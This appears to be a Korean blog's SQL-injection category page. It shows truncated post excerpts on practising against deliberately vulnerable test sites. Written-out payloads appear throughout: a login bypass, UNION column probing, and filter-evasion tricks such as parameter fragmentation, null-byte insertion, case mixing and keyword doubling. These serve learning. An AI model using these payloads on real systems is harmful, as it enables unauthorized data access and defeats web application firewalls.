목록웹 해킹/SQL Injection (47)
Oh! JUN
http://testphp.vulnweb.com/index.php Home of Acunetix Art welcome to our page Test site for Acunetix WVS. Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer err testphp.vulnweb.com 1. login 예상 쿼리 : select * from table where Usename=' ' and pass..
이전 포스팅에서 idx=2로 로그인하면 'gugucon'에 대응하는 세션을 생성했다. id='gugucon' and idx=999 or idx=4 'gugucon'에 대응하는 세션 값과 상관없이 idx=999 거짓입력하여 idx=4의 정보를 출력했다. 이번에는 id값과 대응하는 세션값이 일치하지 않으면 오류 메시지를 출력한다. idx=999와 같이 거짓 값을 넣어서 id를 무력화시키면 안된다. 그래서 UNION 공격을 사용해서 id는 'gugucon' 세션을 유지하면서 다른 계정정보를 훔쳐볼것이다. idx=2 order by 1 정상 출력 idx=2 order by 2 정상 출력 idx=2 order by 3 정상 출력 idx=2 order by 4 정상 출력 idx=2 order by 5 오류 발생 4..
idx=2로 우회접속을 할것이다. select * from members where id='' and password='' or idx=2 -- ' idx=2에 해당하는 id가 session으로 들어간다. ' or idx=2[spacebar]--[spacebar]입력하면 idx에 로그인 되면서 idx, id, password, jumin 정보가 출력된다. idx에 해당하는 id가 session에 들어간 상태 select * from members where id='$_SESSION["gugucon"]' and idx=2 만약 idx=4로 변경하고 싶다면 어떻게 해야될까? id는 SESSION 부분으로 건들 수 없어서 id and idx는 버려야된다. id='' and idx=999 or idx=4 id=..
HPF(HTTP Parameter Fragmentation)기법 HPF 기법 적용한 요청 예시 SELECT * FROM board WHERE title like '%[keyword]%'order by[sort]desc keyword=' and ascii(substring/*&sort=*/(@@version,1,1))&1=-- ↓ SELECT * FROM board WHERE title like '%' and ascii(substring/*%'order by*/(@@version,1,1))&1=--desc 쿼리 문장하나에 keyword랑 sort 파라미터를 입력할 수 있어야 공격이 가능하다.
http(평문) http://www.attack.co.kr/boardView.do?idx=100+and+1=1-- https(암호화) https://www.attack.co.kr/boardView.do?idx=100+and+1=1-- http 사용하는 웹 사이트에서 https로 암호화된 프로토콜을 사용하면 우회된다. (옛날 방식이라 현재는 잘 안먹힘)
NULL Byte 삽입 ' and%00ascii(substring(@@version,1,1))&1=1-- 보안 솔루션에서는 %00까지만 읽히고 뒤에는 읽히지 않고 끝난다. DBMS에서는 쿼리 끝까지 읽히니까 %00으로 보안 솔루션을 우회하면서 정상적인 쿼리 실행이 가능하다. %00는 인코딩하면 안되고 문자 그대로 작성해야한다. Multipart에서는 %00 기본형태로 작성하면 안된다. %00 디코딩 해주어야 한다. (and와 1사이에 아무것도 없는거 같지만 HEX값으로 보면 00 되어있음)
※ 기타 우회 기법 ※ 1. 대문자 사용 2. % 문자 사용 3. 키워드 중복 사용 4. 암호화 채널 사용 대문자 사용 ' and AsCii(suBStRinG(@@vErSiOn, 1,1))&1=1-- % 문자 사용 ' and %as%cii(su%bstring(@@v%er%si%on, 1,1))&1=1-- 키워드 중복 사용 ' and asasciiscii(subssubstringtring(@@version,1,1))&1=1-- 암호화 채널 사용 추후 업데이트 예정
※함수 검증 우회 기법※ boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- 차단 boardView.do?idx=100 and ascii('a')=97-- 정상 boardView.do?idx=100 and substring('test',1,1)='t'-- 차단 ascii와 substring 같이 사용할때 차단이고, ascii 혼자일때는 정상, substring 혼자일때도 차단이니까 substring 함수가 문제였다. but 주의할점 ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음 ※우회※ 1. 의미 없는 문자 삽입 분류 문자 공백 관련 문자 %09 %0A %0B %0C %0D %A0 주석 문자 /**/ ex) boardV..